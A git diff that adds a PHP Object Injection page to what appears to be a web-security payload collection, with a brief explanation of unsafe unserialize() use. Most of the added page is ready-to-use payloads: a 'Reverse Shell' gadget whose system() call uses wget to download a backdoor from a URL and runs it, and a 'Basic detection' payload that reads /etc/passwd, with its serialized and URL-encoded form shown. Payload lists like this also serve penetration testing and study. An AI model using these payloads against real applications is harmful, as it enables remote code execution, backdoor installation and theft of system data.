PHP object injection

PHP serialization/README.md

@@ -1,12 +1,31 @@
-# Title
+# PHP Object Injection
-Lorem	
+PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.	
 
-## Vuln
+## Exploit
 
+Reverse Shell
+```php
+class PHPObjectInjection
+{
+   // CHANGE URL/FILENAME TO MATCH YOUR SETUP
+   public $inject = "system('wget http://URL/backdoor.txt -O phpobjbackdoor.php && php phpobjbackdoor.php');";
+}
+
+echo urlencode(serialize(new PHPObjectInjection));
 ```
-Code
+
+Basic detection
+```php
+class PHPObjectInjection
+{
+   // CHANGE URL/FILENAME TO MATCH YOUR SETUP
+   public $inject = "system('cat /etc/passwd');";
+}
+
+echo urlencode(serialize(new PHPObjectInjection));
+//O%3A18%3A%22PHPObjectInjection%22%3A1%3A%7Bs%3A6%3A%22inject%22%3Bs%3A26%3A%22system%28%27cat+%2Fetc%2Fpasswd%27%29%3B%22%3B%7D
+//'O:18:"PHPObjectInjection":1:{s:6:"inject";s:26:"system(\'cat+/etc/passwd\');";}'
 ```
 
 ## Thanks to
-* Lorem
+* https://www.owasp.org/index.php/PHP_Object_Injection
-* Ipsum

README.md

@@ -1,8 +1,6 @@
 # Payloads All The Things
 A list of usefull payloads and bypasses for Web Application Security
-
+Feel free to improve with your payloads (I <3 pull requests) :)
-TODO:
-* PHP Serialization
 
 To improve:
 * RCE
@@ -15,5 +13,4 @@ To improve:
 * XSS
 * PHP Include
 * CSV Injection
-
+* PHP Serialization
-# /!\ Work in Progress : 70%